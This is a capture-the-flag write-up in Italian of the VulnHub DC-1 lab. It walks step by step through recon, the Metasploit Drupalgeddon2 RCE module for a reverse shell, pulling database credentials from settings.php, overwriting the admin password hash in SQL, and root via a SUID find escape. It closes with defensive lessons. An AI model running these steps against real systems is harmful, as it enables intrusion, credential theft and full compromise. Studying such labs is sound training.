VulnHub-DC1-Writeup

"Writeup di laboratorio di penetration testing che documentano catene di attacco complete — dalla ricognizione alla root."

🔓 VulnHub — DC-1 Boot-to-Root Writeup

Difficoltà: Principiante–Intermedio
Piattaforma: VulnHub
Obiettivo: Catturare tutte e 4 le flag e ottenere la compromissione completa a livello root
Sistema Attaccante: Kali Linux (VirtualBox — Rete NAT)
Sistema Target: Debian Linux (CMS Drupal 7)

📌 Indice

1. Configurazione del Lab
2. Ricognizione & Enumerazione
3. Sfruttamento — Esecuzione di Codice Remota
4. Post-Sfruttamento — Stabilizzazione della Shell
5. Flag 1 — Enumerazione del Server Web
6. Flag 2 — Estrazione delle Credenziali del Database
7. Flag 3 — Accesso al Pannello Admin tramite Manipolazione degli Hash
8. Flag 4 & Root — Privilege Escalation via SUID
9. Riepilogo di Competenze e Strumenti
10. Punti Chiave

🛠 Configurazione del Lab

Entrambe le macchine virtuali sono state configurate nella stessa Rete NAT in VirtualBox per consentire la comunicazione tra VM mantenendo un ambiente di laboratorio isolato.

🔍 Ricognizione & Enumerazione

Scoperta degli Host

Usato arp-scan per identificare tutti gli host attivi sulla sottorete locale:

sudo arp-scan -l

Risultato: Target individuato su 10.0.2.3

Scansione dei Servizi e delle Porte

Eseguita una scansione Nmap completa con rilevamento della versione e script predefiniti:

sudo nmap -sV -sC 10.0.2.3

Risultati principali:

🔑 Critico: Nmap ha identificato esplicitamente l'applicazione web come Drupal 7 tramite gli header HTTP del generatore — confermando una versione CMS nota e vulnerabile.

💥 Sfruttamento — Esecuzione di Codice Remota

Vulnerabilità: Drupalgeddon2 (CVE-2018-7600)

Drupal 7 è affetto da una vulnerabilità critica di Esecuzione di Codice Remota (RCE) nell'API dei Form. Un attaccante non autenticato può inviare una richiesta HTTP appositamente costruita che il backend esegue come comando di sistema — senza richiedere alcuna autenticazione.

Avviato Metasploit Framework:

msfconsole
search drupalgeddon
use exploit/multi/http/drupal_drupageddon2
set RHOSTS 10.0.2.3
exploit

Risultato: Reverse shell Meterpreter aperta con successo come www-data (l'utente del processo del server web).

🐚 Post-Sfruttamento — Stabilizzazione della Shell

Passati da Meterpreter a una shell Linux nativa e stabilizzata tramite Python PTY:

shell
python -c 'import pty; pty.spawn("/bin/bash")'

Risultato: Shell bash completamente interattiva come www-data@DC-1 dentro /var/www

🚩 Flag 1 — Enumerazione del Server Web

ls -la /var/www
cat flag1.txt

Contenuto della Flag 1:

Every good CMS needs a config file - and so do you.

💡 Suggerimento: Punta direttamente al file di configurazione di Drupal — settings.php

🚩 Flag 2 — Estrazione delle Credenziali del Database

Navigato nella directory di configurazione di Drupal e ispezionato il file delle impostazioni:

cd /var/www/sites/default
cat settings.php

Credenziali scoperte incorporate nell'array $databases:

Contenuto della Flag 2 (dai commenti del file):

Brute force and dictionary attacks aren't the only ways to gain access
(and you WILL need access). What can you do with these credentials?

💡 Suggerimento: Usa le credenziali per accedere al backend MySQL — senza forzare nulla con brute force.

🚩 Flag 3 — Accesso al Pannello Admin tramite Manipolazione degli Hash

Passo 1: Enumerazione del Database

mysql -u dbuser -pR0ck3t
use drupaldb;
select uid, name, pass from users;

Trovate password hashate per admin e fred — entrambe usano lo schema di hashing $S$ di Drupal (basato su SHA-512).

Passo 2: Generare un Hash Password Personalizzato

Invece di craccare l'hash esistente, ho usato lo script PHP integrato di Drupal per generarne uno nuovo:

cd /var/www
php scripts/password-hash.sh password123

Output: Un hash $S$D... valido per password123

Passo 3: Sovrascrivere la Password Admin via SQL

use drupaldb;
update users set pass='$S$DUxDdAfJe08Z9viU5Tly0uUZXFThRFMpeBwz4T07HB6Rj0Fm2JTp' where name='admin';

Accesso effettuato a http://10.0.2.3 come admin / password123 con successo.

Contenuto della Flag 3 (trovato nel pannello contenuti admin di Drupal):

Special PERMS will help FIND the passwd - but you'll need to -exec
that command to work out how to get what's in the shadow.

💡 Suggerimento: Misconfigurazione del binario SUID sul comando find — vettore di privilege escalation identificato.

🚩 Flag 4 & Root — Privilege Escalation via SUID

Passo 1: Enumerare gli Utenti di Sistema

cat /etc/passwd

Individuato l'utente flag4 con home directory /home/flag4.

cat /home/flag4/flag4.txt

Contenuto della Flag 4:

Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?

Passo 2: Sfruttamento SUID tramite find

Il binario find aveva il bit SUID impostato, il che significa che viene eseguito con i privilegi del proprietario del file (root) indipendentemente da chi lo esegue.

find . -exec /bin/sh \;
whoami
# root

Passo 3: Flag di Root

cd /root
cat thefinalflag.txt

Well done!!! Hope you enjoyed DC-1!

Compromissione totale di root ottenuta. ✅

🛠 Riepilogo di Competenze e Strumenti

Strumenti Utilizzati

Competenze Dimostrate

• ✅ Ricognizione di Rete e Scoperta degli Host
• ✅ Fingerprinting dei Servizi e Identificazione del CMS
• ✅ Ricerca CVE e Utilizzo di Exploit Pubblici
• ✅ Metasploit Framework — Distribuzione del Payload
• ✅ Post-Sfruttamento e Movimento Laterale
• ✅ Enumerazione del Database ed Estrazione delle Credenziali
• ✅ Creazione di Hash Password e Iniezione SQL via CLI
• ✅ Audit dei Binari SUID Linux
• ✅ Privilege Escalation a Root

📚 Punti Chiave

Da una prospettiva offensiva:

• Le piattaforme CMS non aggiornate (anche 1–2 versioni principali indietro) sono banalmente sfruttabili tramite CVE pubbliche e moduli Metasploit.
• I file di configurazione come settings.php contengono spesso credenziali in chiaro che permettono a un attaccante di passare dall'accesso web al pieno controllo del database.
• Le misconfigurazioni SUID su binari comuni come find, vim o python sono uno dei vettori di privilege escalation più affidabili negli ambienti Linux.

Da una prospettiva difensiva:

• Aggiornare sempre tempestivamente le piattaforme CMS — per Drupalgeddon2 le patch erano disponibili; la vulnerabilità è stata il ritardo nell'applicarle.
• I segreti (credenziali del database) non devono mai trovarsi in file di configurazione accessibili dal web senza crittografia o astrazione tramite variabili d'ambiente.
• Controllare regolarmente i binari SUID: find / -perm -4000 -type f 2>/dev/null dovrebbe far parte di qualsiasi checklist di hardening Linux.

⚠️ Avvertenza

Questo writeup è strettamente a scopo educativo e documenta attività svolte in un ambiente di laboratorio isolato e legale. Non tentare mai queste tecniche contro sistemi che non possiedi o per i quali non hai un'autorizzazione scritta esplicita al test.

Completato da Prapul | Profilo TryHackMe | GitHub